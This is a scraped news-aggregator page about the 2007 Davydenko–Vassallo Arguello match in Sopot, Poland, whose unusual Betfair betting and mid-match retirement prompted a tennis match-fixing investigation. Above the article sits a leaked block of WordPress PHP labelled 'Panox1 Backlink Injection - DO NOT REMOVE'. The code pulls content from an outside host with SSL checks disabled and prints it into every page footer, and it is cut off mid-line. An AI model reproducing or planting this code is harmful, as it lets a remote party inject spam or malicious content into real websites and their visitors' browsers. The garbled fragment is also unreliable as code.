// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 The match that sparked the probe into match-fixing in tennis – Next Sports News

The match that sparked the probe into match-fixing in tennis

[ad_1]

AUG. 2, 2007 FILE PHOTOCZAREK SOKOLOWSKI/AP

On Aug. 20, 2007, Nikolay Davydenko (r.) receives treatment on his foot during his second-round match with Martin Vassallo Arguello.

A 2008 investigation into tennis match-fixing was triggered by a peculiar match the year before, on a clay court in Sopot, Poland — where the No. 4 player in the world fell to one far below him in the rankings.

The somewhat off-the-radar match, which garnered little TV coverage, raised suspicion due to abnormal betting followed by a sudden injury, prompting a probe.

The BBC and Buzzfeed reported Sunday night there’s evidence that several top-ranked tennis players — including Grand Slam winners — have been involved in match-fixing yet none have faced sanctions.

On Aug. 2 2007, the Russian Nikolay Davydenko faced off against Martin Vassallo Arguello in the second round of the Orange Prokom tournament. Davydenko, then the fourth-best player in the world, should have easily defeated Arguello, an Argentine player who was only No. 87 in the rankings.

At first, it seemed the match was on track to play out just that way: Davydenko won the first set, 6-2, and led in the second.

But even as Davydenko continued to dominate his opponent on that summer day, a large number of bets were being placed against him, and he was no longer the favorite. In fact, before the two players had even set foot on the court, hundreds of thousands of pounds had backed Arguello to win — enough so that the Betfair gambling exchange in London took notice.

Nearly $7 million was waged on Arguello to win on Betfair, a total that was reportedly 10 times the amount usually wagered in similar matches.

Then suddenly, Davydenko wasn’t as commanding anymore. He began to stumble around. He requested medical timeouts, stating that he suffered from ankle pain and then pain in his toe.

Davydenko lost the second set, 6-3. In the third game of the third set, he forfeited the match.

Due to the suspicious betting activity, the head of Betfair’s anti-corruption team had contacted the Association of Tennis Professionals (ATP), who then contacted the tournament supervisor in Poland. For the first time in its history, Betfair decided to void all bets placed on the match.

Davydenko proclaimed his innocence to the press.

“I don’t know how to throw a match,” he said. “I know that if you are in pain and can’t play on, you withdraw.”

The ATP said it would conduct an investigation into the matter, but announced in 2008 that there was “no evidence of a violation of its rules by either Mr. Arguello or Mr. Davydenko or anyone else associated with the match.”

With

Tags:
tennis ,
australian open

[ad_2]

Source link

Reply